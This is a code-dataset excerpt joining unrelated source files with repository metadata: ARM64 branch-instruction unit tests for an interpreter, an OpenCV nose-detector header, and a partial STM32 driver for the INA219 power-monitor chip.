SET_REG(PC, 0x1000); inst._0_25 = 2; expected.nextPC = 0x1008; doTestInst(L"B is in increments of 4"); SET_REG(PC, 0x1000); inst._0_25 = 0x1FFFFFF; expected.nextPC = 0x8000FFC; doTestInst(L"B is in increments of 4"); SET_REG(PC, 0x1000); inst._0_25 = 0x2000000; expected.nextPC = 0xFFFFFFFFF8001000; doTestInst(L"B has a signed offset"); SET_REG(PC, 0x1000); inst._0_25 = 0x3FFFFFF; expected.nextPC = 0xFFC; doTestInst(L"B has a signed offset"); } TEST_METHOD(B_overflow) { SET_REG(PC, 0xFFFFFFFFFFFFFFFC); inst._0_25 = 0x1; expected.nextPC = 0; doTestInst(L"B wraps around on overflow"); } TEST_METHOD(B_underflow) { SET_REG(PC, 0); inst._0_25 = 0x3FFFFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"B wraps around on underflow"); } }; TEST_CLASS(bl), BaseTestClass<cpu::instructionID::BL> { INST_CLASS_METHODS; TEST_METHOD(BL_branch) { inst._0_25 = 0; expected.nextPC = PC_DEFAULT; expected.GPRegs[30] = NEXT_PC_DEFAULT; doTestInst(L"BL jumps to itself when imm == 0 and stores PC + 4 in X30"); SET_REG(PC, 0x1000); inst._0_25 = 2; expected.nextPC = 0x1008; expected.GPRegs[30] = 0x1004; doTestInst(L"BL is in increments of 4 and stores PC + 4 in X30"); SET_REG(PC, 0x1000); inst._0_25 = 0x1FFFFFF; expected.nextPC = 0x8000FFC; expected.GPRegs[30] = 0x1004; doTestInst(L"BL is in increments of 4 and stores PC + 4 in X30"); SET_REG(PC, 0x1000); inst._0_25 = 0x2000000; expected.nextPC = 0xFFFFFFFFF8001000; expected.GPRegs[30] = 0x1004; doTestInst(L"BL has a signed offset and stores PC + 4 in X30"); SET_REG(PC, 0x1000); inst._0_25 = 0x3FFFFFF; expected.nextPC = 0xFFC; expected.GPRegs[30] = 0x1004; doTestInst(L"BL has a signed offset and stores PC + 4 in X30"); } TEST_METHOD(BL_overflow) { SET_REG(PC, 0xFFFFFFFFFFFFFFFC); inst._0_25 = 0x1; expected.nextPC = 0; expected.GPRegs[30] = 0; doTestInst(L"BL wraps around on overflow and X30 wraps around"); } TEST_METHOD(BL_underflow) { SET_REG(PC, 0); inst._0_25 = 0x3FFFFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; expected.GPRegs[30] = 4; doTestInst(L"BL wraps around on underflow and stores PC + 4 in X30"); } }; TEST_CLASS(cbz32), BaseTestClass<cpu::instructionID::CBZ_32> { INST_CLASS_METHODS; TEST_METHOD(CBZ_32_branch) { inst.Rt = 1; SET_REG(GPRegs[1], 0); inst._5_23 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"CBZ_32 jumps to itself when imm == 0"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 2; expected.nextPC = 0x1008; doTestInst(L"CBZ_32 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 0x3FFFF; expected.nextPC = 0x100FFC; doTestInst(L"CBZ_32 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 0x40000; expected.nextPC = 0xFFFFFFFFFFF01000; doTestInst(L"CBZ_32 has a signed offset"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFC; doTestInst(L"CBZ_32 has a signed offset"); SET_REG(GPRegs[1], 1); inst._5_23 = 0x2; doTestInst(L"CBZ_32 does nothing when the register is not 0"); } TEST_METHOD(CBZ_32_overflow) { inst.Rt = 1; SET_REG(PC, 0xFFFFFFFFFFFFFFFC); SET_REG(GPRegs[1], 0); inst._5_23 = 0x1; expected.nextPC = 0; doTestInst(L"CBZ_32 wraps around on overflow"); } TEST_METHOD(CBZ_32_underflow) { inst.Rt = 1; SET_REG(PC, 0); SET_REG(GPRegs[1], 0); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"CBZ_32 wraps around on underflow"); } TEST_METHOD(CBZ_32_sp) { inst.Rt = 31; SET_REG(PC, 0x1000); SET_REG(SP, 0x1000); inst._5_23 = 0x2; expected.nextPC = 0x1008; doTestInst(L"CBZ_32 does not use sp"); } TEST_METHOD(CBZ_32_high_bits) { inst.Rt = 1; SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0xFFFFFFFF00000000); inst._5_23 = 0x2; expected.nextPC = 0x1008; doTestInst(L"CBZ_32 only uses the low bits"); } }; TEST_CLASS(cbnz32), BaseTestClass<cpu::instructionID::CBNZ_32> { INST_CLASS_METHODS; TEST_METHOD(CBNZ_32_branch) { inst.Rt = 1; SET_REG(GPRegs[1], 1); inst._5_23 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"CBNZ_32 jumps to itself when imm == 0"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 2; expected.nextPC = 0x1008; doTestInst(L"CBNZ_32 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 0x3FFFF; expected.nextPC = 0x100FFC; doTestInst(L"CBNZ_32 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 0x40000; expected.nextPC = 0xFFFFFFFFFFF01000; doTestInst(L"CBNZ_32 has a signed offset"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFC; doTestInst(L"CBNZ_32 has a signed offset"); SET_REG(GPRegs[1], 0); inst._5_23 = 0x2; doTestInst(L"CBNZ_32 does nothing when the register is 0"); } TEST_METHOD(CBNZ_32_overflow) { inst.Rt = 1; SET_REG(PC, 0xFFFFFFFFFFFFFFFC); SET_REG(GPRegs[1], 1); inst._5_23 = 0x1; expected.nextPC = 0; doTestInst(L"CBNZ_32 wraps around on overflow"); } TEST_METHOD(CBNZ_32_underflow) { inst.Rt = 1; SET_REG(PC, 0); SET_REG(GPRegs[1], 1); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"CBNZ_32 wraps around on underflow"); } TEST_METHOD(CBNZ_32_sp) { inst.Rt = 31; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(SP, 0x1000); inst._5_23 = 0x2; doTestInst(L"CBNZ_32 does not use sp"); } TEST_METHOD(CBNZ_32_high_bits) { inst.Rt = 1; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], 0xFFFFFFFF00000000); inst._5_23 = 0x2; doTestInst(L"CBNZ_32 only uses the low bits"); } }; TEST_CLASS(cbz64), BaseTestClass<cpu::instructionID::CBZ_64> { INST_CLASS_METHODS; TEST_METHOD(CBZ_64_branch) { inst.Rt = 1; SET_REG(GPRegs[1], 0); inst._5_23 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"CBZ_64 jumps to itself when imm == 0"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 2; expected.nextPC = 0x1008; doTestInst(L"CBZ_64 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 0x3FFFF; expected.nextPC = 0x100FFC; doTestInst(L"CBZ_64 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 0x40000; expected.nextPC = 0xFFFFFFFFFFF01000; doTestInst(L"CBZ_64 has a signed offset"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFC; doTestInst(L"CBZ_64 has a signed offset"); SET_REG(GPRegs[1], 1); inst._5_23 = 0x2; doTestInst(L"CBZ_64 does nothing when the register is not 0"); } TEST_METHOD(CBZ_64_overflow) { inst.Rt = 1; SET_REG(PC, 0xFFFFFFFFFFFFFFFC); SET_REG(GPRegs[1], 0); inst._5_23 = 0x1; expected.nextPC = 0; doTestInst(L"CBZ_64 wraps around on overflow"); } TEST_METHOD(CBZ_64_underflow) { inst.Rt = 1; SET_REG(PC, 0); SET_REG(GPRegs[1], 0); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"CBZ_64 wraps around on underflow"); } TEST_METHOD(CBZ_64_sp) { inst.Rt = 31; SET_REG(PC, 0x1000); SET_REG(SP, 0x1000); inst._5_23 = 0x2; expected.nextPC = 0x1008; doTestInst(L"CBZ_64 does not use sp"); } TEST_METHOD(CBZ_64_high_bits) { inst.Rt = 1; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], 0xFFFFFFFF00000000); inst._5_23 = 0x2; doTestInst(L"CBZ_64 does use the high bits"); } }; TEST_CLASS(cbnz64), BaseTestClass<cpu::instructionID::CBNZ_64> { INST_CLASS_METHODS; TEST_METHOD(CBNZ_64_branch) { inst.Rt = 1; SET_REG(GPRegs[1], 1); inst._5_23 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"CBNZ_64 jumps to itself when imm == 0"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 2; expected.nextPC = 0x1008; doTestInst(L"CBNZ_64 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 0x3FFFF; expected.nextPC = 0x100FFC; doTestInst(L"CBNZ_64 is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 0x40000; expected.nextPC = 0xFFFFFFFFFFF01000; doTestInst(L"CBNZ_64 has a signed offset"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 1); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFC; doTestInst(L"CBNZ_64 has a signed offset"); SET_REG(GPRegs[1], 0); inst._5_23 = 0x2; doTestInst(L"CBNZ_64 does nothing when the register is 0"); } TEST_METHOD(CBNZ_64_overflow) { inst.Rt = 1; SET_REG(PC, 0xFFFFFFFFFFFFFFFC); SET_REG(GPRegs[1], 1); inst._5_23 = 0x1; expected.nextPC = 0; doTestInst(L"CBNZ_64 wraps around on overflow"); } TEST_METHOD(CBNZ_64_underflow) { inst.Rt = 1; SET_REG(PC, 0); SET_REG(GPRegs[1], 1); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"CBNZ_64 wraps around on underflow"); } TEST_METHOD(CBNZ_64_sp) { inst.Rt = 31; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(SP, 0x1000); inst._5_23 = 0x2; doTestInst(L"CBNZ_64 does not use sp"); } TEST_METHOD(CBNZ_64_high_bits) { inst.Rt = 1; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], 0xFFFFFFFF00000000); inst._5_23 = 0x2; expected.nextPC = 0x1008; doTestInst(L"CBNZ_64 does use high bits"); } }; TEST_CLASS(tbz), BaseTestClass<cpu::instructionID::TBZ> { INST_CLASS_METHODS; TEST_METHOD(TBZ_branch) { inst.Rt = 1; SET_REG(GPRegs[1], 0); inst._5_18 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"TBZ jumps to itself when imm == 0"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_18 = 2; expected.nextPC = 0x1008; doTestInst(L"TBZ is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_18 = 0x1FFF; expected.nextPC = 0x8FFC; doTestInst(L"TBZ is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_18 = 0x2000; expected.nextPC = 0xFFFFFFFFFFFF9000; doTestInst(L"TBZ has a signed offset"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0); inst._5_18 = 0x3FFF; expected.nextPC = 0xFFC; doTestInst(L"TBZ has a signed offset"); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0x1; doTestInst(L"TBZ does nothing when the condition is not met"); } TEST_METHOD(TBZ_overflow) { inst.Rt = 1; SET_REG(PC, 0xFFFFFFFFFFFFFFFC); SET_REG(GPRegs[1], 0); inst._5_18 = 0x1; expected.nextPC = 0; doTestInst(L"TBZ wraps around on overflow"); } TEST_METHOD(TBZ_underflow) { inst.Rt = 1; SET_REG(PC, 0); SET_REG(GPRegs[1], 0); inst._5_18 = 0x3FFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"TBZ wraps around on underflow"); } TEST_METHOD(TBZ_all) { inst.Rt = 1; inst._5_18 = 0x2; for (uint64_t index = 0; index < 64; index++) { for (uint64_t bit = 0; bit < 64; bit++) { inst.b40 = bit & 0x1F; inst.b5 = bit >> 5; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], setBitTable[index]); if (bit == index) { doTestInst(L"TBZ does not branch on a set bit"); } else { expected.nextPC = 0x1008; doTestInst(L"TBZ does branch on a clear bit"); } SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], clearBitTable[index]); if (bit != index) { doTestInst(L"TBZ does not branch on a set bit"); } else { expected.nextPC = 0x1008; doTestInst(L"TBZ does branch on a clear bit"); } } } } }; TEST_CLASS(tbnz), BaseTestClass<cpu::instructionID::TBNZ> { INST_CLASS_METHODS; TEST_METHOD(TBNZ_branch) { inst.Rt = 1; SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"TBNZ jumps to itself when imm == 0"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 2; expected.nextPC = 0x1008; doTestInst(L"TBNZ is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0x1FFF; expected.nextPC = 0x8FFC; doTestInst(L"TBNZ is in increments of 4"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0x2000; expected.nextPC = 0xFFFFFFFFFFFF9000; doTestInst(L"TBNZ has a signed offset"); SET_REG(PC, 0x1000); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0x3FFF; expected.nextPC = 0xFFC; doTestInst(L"TBNZ has a signed offset"); SET_REG(GPRegs[1], 0); inst._5_18 = 0x1; doTestInst(L"TBNZ does nothing when the condition is not met"); } TEST_METHOD(TBNZ_overflow) { inst.Rt = 1; SET_REG(PC, 0xFFFFFFFFFFFFFFFC); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0x1; expected.nextPC = 0; doTestInst(L"TBNZ wraps around on overflow"); } TEST_METHOD(TBNZ_underflow) { inst.Rt = 1; SET_REG(PC, 0); SET_REG(GPRegs[1], 0xFFFFFFFFFFFFFFFF); inst._5_18 = 0x3FFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"TBNZ wraps around on underflow"); } TEST_METHOD(TBNZ_all) { inst.Rt = 1; inst._5_18 = 0x2; for (uint64_t index = 0; index < 64; index++) { for (uint64_t bit = 0; bit < 64; bit++) { inst.b40 = bit & 0x1F; inst.b5 = bit >> 5; SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], setBitTable[index]); if (bit != index) { doTestInst(L"TBNZ does branch on a set bit"); } else { expected.nextPC = 0x1008; doTestInst(L"TBNZ does not branch on a clear bit"); } SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); SET_REG(GPRegs[1], clearBitTable[index]); if (bit == index) { doTestInst(L"TBNZ does branch on a clear bit"); } else { expected.nextPC = 0x1008; doTestInst(L"TBNZ does not branch on a set bit"); } } } } }; } // namespace InterpreterUnitTest
[ "Uberpanzermensch@gmail.com" ]
Uberpanzermensch@gmail.com
b2f7828cf987c66246cea48ea6be1893b5377beb
f2776461f62a4ff963d3d81914f633f6909a0a93
/Projects2/opencv_image/lips/lips/NoseFeatureDetector.h
b1f9e3be7191a4f84e21ab4d1d58467638df6ce1
[]
no_license
crupib/Source
d29ce4eb5cfa81340a4bfbf7a9620010e6590eb4
d89b9951d8e39a1d4dd0d3b3f348f23ac4bd96b4
refs/heads/master
2021-05-04T11:21:46.955196
2018-06-16T11:50:38
2018-06-16T11:50:38
33,565,119
0
0
null
null
null
null
UTF-8
C++
false
false
1,077
h
/** * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License */ #ifndef NOSEFEATUREDETECTOR_H #define NOSEFEATUREDETECTOR_H #include <vector> #include <opencv2/objdetect/objdetect.hpp> #include "ObjectDetector.h" #include "FaceFeatures.h" class NoseFeatureDetector { public: NoseFeatureDetector(std::string cascade_file); NoseFeatureDetector(cv::CascadeClassifier cascade); ~NoseFeatureDetector(); int detect(cv::Mat image, cv::Rect face, NoseFeatures &nose); private: ObjectDetector *detector; }; #endif /*NOSEFEATUREDETECTOR_H*/
[ "lennon6969" ]
lennon6969
de7fd689fe05ccf3294df4b00000ef09d135baed
79f3c7f0faa4685715b8fdc13b8dda7cf915e8d1
/STM32F1xx_CPP_FW - PowerMonitor - NewUI/HW_Modules/INA219/INA219.cpp
a74ed60f6522a05bd72a80695897705b1ed21b25
[]
no_license
amitandgithub/STM32F1xx_CPP_FW
fc155c2f0772b1b282388b6c2e2d24ebe8daf946
b61816696109cb48d0eb4a0a0b9b1232881ea5c3
refs/heads/master
2023-02-11T16:55:30.247303
2020-12-26T16:56:47
2020-12-26T16:56:47
178,715,062
0
1
null
null
null
null
UTF-8
C++
false
false
15,289
cpp
/* * INA219.cpp * * Created on: 17-Dec-2017 * Author: Amit Chaudhary */ #include "INA219.h" namespace BSP { INA219::INA219(uint8_t INA219Address) :m_INA219_Address(INA219Address) { } INA219::~INA219() { } void INA219::HwInit() { I2C_INSTANCE.HwInit(400000); SetCalibration_16V_400mA(); } void INA219::Run(Power_t* pPower) { pPower->Voltage = GetBusVoltage_V(); pPower->Current = GetCurrent_mA(); // if(pPower->Voltage < 0.89f ) pPower->Voltage=0; // Negative voltage till 0.40v is not what we are interested in. if(pPower->Current < 0.3 ) pPower->Current = 0; // Discard the junk values RUN_EVERY_MILLIS(128,CaptureSamples(pPower)); } void INA219::CaptureSamples(Power_t* pPower) { static float CurrentSamples; static uint32_t SampleCount; CurrentSamples += GetCurrent_mA(); SampleCount++; if(SampleCount >= 8) { pPower->mAH += CurrentSamples/28800.0; // 8*3600 = 28800 SampleCount = 0; CurrentSamples = 0; } } /**************************************************************************/ /*! @brief Sends a single command byte over I2C */ /**************************************************************************/ void INA219::WriteRegister (uint8_t reg, uint16_t value) { buf[0] = reg; buf[1] = ((value >> 8) & 0xFF); buf[2] = (value & 0xFF); I2C_INSTANCE.XferPoll( m_INA219_Address, buf, 3); } /**************************************************************************/ /*! @brief Reads a 16 bit values over I2C */ /**************************************************************************/ void INA219::ReadRegister(uint8_t reg, uint16_t *value) { buf[0] = reg; I2C_INSTANCE.XferPoll( m_INA219_Address, buf, 1) ; I2C_INSTANCE.XferPoll( m_INA219_Address, 0,0,buf, 2); *value = ((buf[0] << 8) | buf[1]); } /**************************************************************************/ /*! @brief Configures to INA219 to be able to measure up to 32V and 2A of current. Each unit of current corresponds to 100uA, and each unit of power corresponds to 2mW. Counter overflow occurs at 3.2A. @note These calculations assume a 0.1 ohm resistor is present */ /**************************************************************************/ void INA219::SetCalibration_32V_2A(void) { // By default we use a pretty huge range for the input voltage, // which probably isn't the most appropriate choice for system // that don't use a lot of power. But all of the calculations // are shown below if you want to change the settings. You will // also need to change any relevant register settings, such as // setting the VBUS_MAX to 16V instead of 32V, etc. // VBUS_MAX = 32V (Assumes 32V, can also be set to 16V) // VSHUNT_MAX = 0.32 (Assumes Gain 8, 320mV, can also be 0.16, 0.08, 0.04) // RSHUNT = 0.1 (Resistor value in ohms) // 1. Determine max possible current // MaxPossible_I = VSHUNT_MAX / RSHUNT // MaxPossible_I = 3.2A // 2. Determine max expected current // MaxExpected_I = 2.0A // 3. Calculate possible range of LSBs (Min = 15-bit, Max = 12-bit) // MinimumLSB = MaxExpected_I/32767 // MinimumLSB = 0.000061 (61uA per bit) // MaximumLSB = MaxExpected_I/4096 // MaximumLSB = 0,000488 (488uA per bit) // 4. Choose an LSB between the min and max values // (Preferrably a roundish number close to MinLSB) // CurrentLSB = 0.0001 (100uA per bit) // 5. Compute the calibration register // Cal = trunc (0.04096 / (Current_LSB * RSHUNT)) // Cal = 4096 (0x1000) uint16_t config = INA219_CONFIG_BVOLTAGERANGE_32V | INA219_CONFIG_GAIN_8_320MV | INA219_CONFIG_BADCRES_12BIT | INA219_CONFIG_SADCRES_12BIT_128S_69MS | // INA219_CONFIG_SADCRES_12BIT_128S_69MS INA219_CONFIG_SADCRES_12BIT_1S_532US INA219_CONFIG_MODE_SANDBVOLT_CONTINUOUS; ina219_calValue = 4096; // 6. Calculate the power LSB // PowerLSB = 20 * CurrentLSB // PowerLSB = 0.002 (2mW per bit) // 7. Compute the maximum current and shunt voltage values before overflow // // Max_Current = Current_LSB * 32767 // Max_Current = 3.2767A before overflow // // If Max_Current > Max_Possible_I then // Max_Current_Before_Overflow = MaxPossible_I // Else // Max_Current_Before_Overflow = Max_Current // End If // // Max_ShuntVoltage = Max_Current_Before_Overflow * RSHUNT // Max_ShuntVoltage = 0.32V // // If Max_ShuntVoltage >= VSHUNT_MAX // Max_ShuntVoltage_Before_Overflow = VSHUNT_MAX // Else // Max_ShuntVoltage_Before_Overflow = Max_ShuntVoltage // End If // 8. Compute the Maximum Power // MaximumPower = Max_Current_Before_Overflow * VBUS_MAX // MaximumPower = 3.2 * 32V // MaximumPower = 102.4W // Set multipliers to convert raw current/power values ina219_currentDivider_mA = 10; // Current LSB = 100uA per bit (1000/100 = 10) ina219_powerDivider_mW = 2; // Power LSB = 1mW per bit (2/1) // Set Calibration register to 'Cal' calculated above WriteRegister(INA219_REG_CALIBRATION, ina219_calValue); // Set Config register to take into account the settings above WriteRegister(INA219_REG_CONFIG, config); } /**************************************************************************/ /*! @brief Configures to INA219 to be able to measure up to 32V and 1A of current. Each unit of current corresponds to 40uA, and each unit of power corresponds to 800�W. Counter overflow occurs at 1.3A. @note These calculations assume a 0.1 ohm resistor is present */ /**************************************************************************/ void INA219::SetCalibration_32V_1A(void) { // By default we use a pretty huge range for the input voltage, // which probably isn't the most appropriate choice for system // that don't use a lot of power. But all of the calculations // are shown below if you want to change the settings. You will // also need to change any relevant register settings, such as // setting the VBUS_MAX to 16V instead of 32V, etc. // VBUS_MAX = 32V (Assumes 32V, can also be set to 16V) // VSHUNT_MAX = 0.32 (Assumes Gain 8, 320mV, can also be 0.16, 0.08, 0.04) // RSHUNT = 0.1 (Resistor value in ohms) // 1. Determine max possible current // MaxPossible_I = VSHUNT_MAX / RSHUNT // MaxPossible_I = 3.2A // 2. Determine max expected current // MaxExpected_I = 1.0A // 3. Calculate possible range of LSBs (Min = 15-bit, Max = 12-bit) // MinimumLSB = MaxExpected_I/32767 // MinimumLSB = 0.0000305 (30.5�A per bit) // MaximumLSB = MaxExpected_I/4096 // MaximumLSB = 0.000244 (244�A per bit) // 4. Choose an LSB between the min and max values // (Preferrably a roundish number close to MinLSB) // CurrentLSB = 0.0000400 (40�A per bit) // 5. Compute the calibration register // Cal = trunc (0.04096 / (Current_LSB * RSHUNT)) // Cal = 10240 (0x2800) uint16_t config = INA219_CONFIG_BVOLTAGERANGE_32V | INA219_CONFIG_GAIN_8_320MV | INA219_CONFIG_BADCRES_12BIT | INA219_CONFIG_SADCRES_12BIT_128S_69MS | INA219_CONFIG_MODE_SANDBVOLT_CONTINUOUS; ina219_calValue = 10240; // 6. Calculate the power LSB // PowerLSB = 20 * CurrentLSB // PowerLSB = 0.0008 (800�W per bit) // 7. Compute the maximum current and shunt voltage values before overflow // // Max_Current = Current_LSB * 32767 // Max_Current = 1.31068A before overflow // // If Max_Current > Max_Possible_I then // Max_Current_Before_Overflow = MaxPossible_I // Else // Max_Current_Before_Overflow = Max_Current // End If // // ... In this case, we're good though since Max_Current is less than MaxPossible_I // // Max_ShuntVoltage = Max_Current_Before_Overflow * RSHUNT // Max_ShuntVoltage = 0.131068V // // If Max_ShuntVoltage >= VSHUNT_MAX // Max_ShuntVoltage_Before_Overflow = VSHUNT_MAX // Else // Max_ShuntVoltage_Before_Overflow = Max_ShuntVoltage // End If // 8. Compute the Maximum Power // MaximumPower = Max_Current_Before_Overflow * VBUS_MAX // MaximumPower = 1.31068 * 32V // MaximumPower = 41.94176W // Set multipliers to convert raw current/power values ina219_currentDivider_mA = 25; // Current LSB = 40uA per bit (1000/40 = 25) ina219_powerDivider_mW = 1; // Power LSB = 800�W per bit // Set Calibration register to 'Cal' calculated above WriteRegister(INA219_REG_CALIBRATION, ina219_calValue); // Set Config register to take into account the settings above WriteRegister(INA219_REG_CONFIG, config); } void INA219::SetCalibration_16V_400mA(void) { // Calibration which uses the highest precision for // current measurement (0.1mA), at the expense of // only supporting 16V at 400mA max. // VBUS_MAX = 16V // VSHUNT_MAX = 0.04 (Assumes Gain 1, 40mV) // RSHUNT = 0.1 (Resistor value in ohms) // 1. Determine max possible current // MaxPossible_I = VSHUNT_MAX / RSHUNT // MaxPossible_I = 0.4A // 2. Determine max expected current // MaxExpected_I = 0.4A // 3. Calculate possible range of LSBs (Min = 15-bit, Max = 12-bit) // MinimumLSB = MaxExpected_I/32767 // MinimumLSB = 0.0000122 (12uA per bit) // MaximumLSB = MaxExpected_I/4096 // MaximumLSB = 0.0000977 (98uA per bit) // 4. Choose an LSB between the min and max values // (Preferrably a roundish number close to MinLSB) // CurrentLSB = 0.00005 (50uA per bit) // 5. Compute the calibration register // Cal = trunc (0.04096 / (Current_LSB * RSHUNT)) // Cal = 8192 (0x2000) uint16_t config = INA219_CONFIG_BVOLTAGERANGE_16V | INA219_CONFIG_GAIN_1_40MV | INA219_CONFIG_BADCRES_12BIT | INA219_CONFIG_SADCRES_12BIT_128S_69MS | INA219_CONFIG_MODE_SANDBVOLT_CONTINUOUS; ina219_calValue = 8192; // 6. Calculate the power LSB // PowerLSB = 20 * CurrentLSB // PowerLSB = 0.001 (1mW per bit) // 7. Compute the maximum current and shunt voltage values before overflow // // Max_Current = Current_LSB * 32767 // Max_Current = 1.63835A before overflow // // If Max_Current > Max_Possible_I then // Max_Current_Before_Overflow = MaxPossible_I // Else // Max_Current_Before_Overflow = Max_Current // End If // // Max_Current_Before_Overflow = MaxPossible_I // Max_Current_Before_Overflow = 0.4 // // Max_ShuntVoltage = Max_Current_Before_Overflow * RSHUNT // Max_ShuntVoltage = 0.04V // // If Max_ShuntVoltage >= VSHUNT_MAX // Max_ShuntVoltage_Before_Overflow = VSHUNT_MAX // Else // Max_ShuntVoltage_Before_Overflow = Max_ShuntVoltage // End If // // Max_ShuntVoltage_Before_Overflow = VSHUNT_MAX // Max_ShuntVoltage_Before_Overflow = 0.04V // 8. Compute the Maximum Power // MaximumPower = Max_Current_Before_Overflow * VBUS_MAX // MaximumPower = 0.4 * 16V // MaximumPower = 6.4W // Set multipliers to convert raw current/power values ina219_currentDivider_mA = 20; // Current LSB = 50uA per bit (1000/50 = 20) ina219_powerDivider_mW = 1; // Power LSB = 1mW per bit // Set Calibration register to 'Cal' calculated above WriteRegister(INA219_REG_CALIBRATION, ina219_calValue); // Set Config register to take into account the settings above WriteRegister(INA219_REG_CONFIG, config); } /**************************************************************************/ /*! @brief Gets the raw bus voltage (16-bit signed integer, so +-32767) */ /**************************************************************************/ int16_t INA219::GetBusVoltage_raw() { //uint16_t value; ReadRegister(INA219_REG_BUSVOLTAGE, &value); // Shift to the right 3 to drop CNVR and OVF and multiply by LSB return (int16_t)((value >> 3) * 4); } /**************************************************************************/ /*! @brief Gets the raw shunt voltage (16-bit signed integer, so +-32767) */ /**************************************************************************/ int16_t INA219::GetShuntVoltage_raw() { //uint16_t value; ReadRegister(INA219_REG_SHUNTVOLTAGE, &value); return (int16_t)value; } /**************************************************************************/ /*! @brief Gets the raw current value (16-bit signed integer, so +-32767) */ /**************************************************************************/ int16_t INA219::GetCurrent_raw() { //uint16_t value; // Sometimes a sharp load will reset the INA219, which will // reset the cal register, meaning CURRENT and POWER will // not be available ... avoid this by always setting a cal // value even if it's an unfortunate extra step WriteRegister(INA219_REG_CALIBRATION, ina219_calValue); // Now we can safely read the CURRENT register! ReadRegister(INA219_REG_CURRENT, &value); return (int16_t)value; } /**************************************************************************/ /*! @brief Gets the shunt voltage in mV (so +-327mV) */ /**************************************************************************/ float INA219::GetShuntVoltage_mV() { //int16_t value; value = GetShuntVoltage_raw(); return value * 0.01; } /**************************************************************************/ /*! @brief Gets the shunt voltage in volts */ /**************************************************************************/ float INA219::GetBusVoltage_V() { //int16_t value = GetBusVoltage_raw(); value = GetBusVoltage_raw(); return value * 0.001; } /**************************************************************************/ /*! @brief Gets the current value in mA, taking into account the config settings and current LSB */ /**************************************************************************/ float INA219::GetCurrent_mA() { //float valueDec = GetCurrent_raw(); valueDec = GetCurrent_raw(); valueDec /= ina219_currentDivider_mA; return valueDec; } float INA219::GetPower_mW(void) { //float valueDec; uint16_t value_Raw; WriteRegister(INA219_REG_CALIBRATION, ina219_calValue); 